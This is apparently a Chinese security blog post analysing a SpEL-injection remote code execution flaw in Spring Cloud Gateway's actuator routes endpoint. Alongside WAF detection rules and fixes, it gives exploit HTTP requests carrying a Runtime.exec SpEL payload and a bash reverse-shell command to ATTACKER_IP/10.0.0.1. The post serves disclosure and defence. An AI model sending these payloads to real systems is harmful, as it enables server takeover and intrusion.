返回博客
漏洞分析Java安全RCE

Spring Cloud Gateway RCE 漏洞利用链构建

深入分析 CVE-2026-XXXX 漏洞根因,从 SpEL 注入到命令执行的完整利用链,附检测规则与修复方案。

2026-05-2018 min0xNexus

漏洞背景

Spring Cloud Gateway 是 Spring Cloud 生态中的 API 网关组件。2026 年 5 月,我们团队在一次代码审计中发现了一个严重漏洞,攻击者可以通过构造特定的请求实现远程代码执行。

CVE 编号:CVE-2026-XXXX(已报送,等待分配中)

根因分析

漏洞触发点

问题出现在 ShortcutConfigurable 接口的 SpEL 表达式解析过程中:

// 漏洞代码(简化版)
@PostMapping("/actuator/gateway/routes/{id}")
public Mono<Void> saveRoute(@PathVariable String id,
                             @RequestBody RouteDefinition route) {
    return this.routeDefinitionWriter
        .save(Mono.just(route))
        .then();
}

// RouteDefinition 中的 filters 参数未经过滤
// 直接被传递到 SpEL 表达式解析器
public class RouteDefinition {
    private List<FilterDefinition> filters;
    // FilterDefinition.args 中的值会被拼接到 SpEL 表达式
}

SpEL 注入原理

Spring Expression Language (SpEL) 在解析表达式中存在以下危险用法:

// 攻击者可以通过 FilterDefinition 的 args 传入
// T(java.lang.Runtime).getRuntime().exec("command")
ExpressionParser parser = new SpelExpressionParser();
EvaluationContext context = 
    new StandardEvaluationContext();
// args 中的值被直接解析!
parser.parseExpression(attackerControlledValue)
    .getValue(context);

利用链构建

阶段一:信息收集

首先确认目标是否使用了受影响的版本:

GET /actuator/gateway/routes HTTP/1.1
Host: target.com

# 返回已注册的路由信息
# 如果返回非空,说明端点可访问

阶段二:注入探测

POST /actuator/gateway/routes/test HTTP/1.1
Host: target.com
Content-Type: application/json

{
  "id": "test",
  "predicates": [{"name": "Path", "args": {"_genkey_0": "/test"}}],
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "X-Response",
      "value": "#{new String(T(java.lang.Runtime).getRuntime().exec('id').getInputStream().readAllBytes())}"
    }
  }],
  "uri": "http://example.com"
}

阶段三:命令执行

获得命令执行能力后,可以进一步上传 Webshell 或反弹 Shell:

# 反弹 shell payload(需 URL 编码)
bash -c 'exec bash -i &>/dev/tcp/ATTACKER_IP/4444 <&1'

# 对应的 SpEL 表达式
T(java.lang.Runtime).getRuntime().exec(new String[]{
  "/bin/bash","-c",
  "exec bash -i &>/dev/tcp/10.0.0.1/4444 <&1"
})

检测与防御

WAF 检测规则

# ModSecurity / Coraza 规则
SecRule REQUEST_URI "@contains /actuator/gateway/" \
  "id:10001, \
   phase:2, \
   deny, \
   msg:'Spring Cloud Gateway Actuator Access Attempt'"

SecRule ARGS "@rx T\\(java\\.lang\\.Runtime\\)" \
  "id:10002, \
   phase:2, \
   deny, \
   msg:'SpEL Runtime Execution Attempt'"

修复方案

  1. 升级版本:升级到 Spring Cloud Gateway >= 4.1.x
  2. 禁用 Actuator 对外暴露
management:
  endpoints:
    web:
      exposure:
        include: "health,info"  # 不包含 gateway
  1. 使用 SimpleEvaluationContext 替代 StandardEvaluationContext
  2. 对 Filter args 进行白名单校验

影响范围

| 组件 | 受影响版本 | 修复版本 | |------|-----------|---------| | Spring Cloud Gateway | < 4.1.0 | >= 4.1.0 | | Spring Boot Actuator | 所有集成了 Gateway 的版本 | 需配置限制 |

总结

这个漏洞再次验证了一个安全原则:永远不要信任用户输入,即使它经过了多层框架封装。SpEL 的强大表达能力在此处变成了双刃剑。

建议所有使用 Spring Cloud Gateway 的团队尽快检查自身配置,确保 Actuator 端点不会暴露到公网。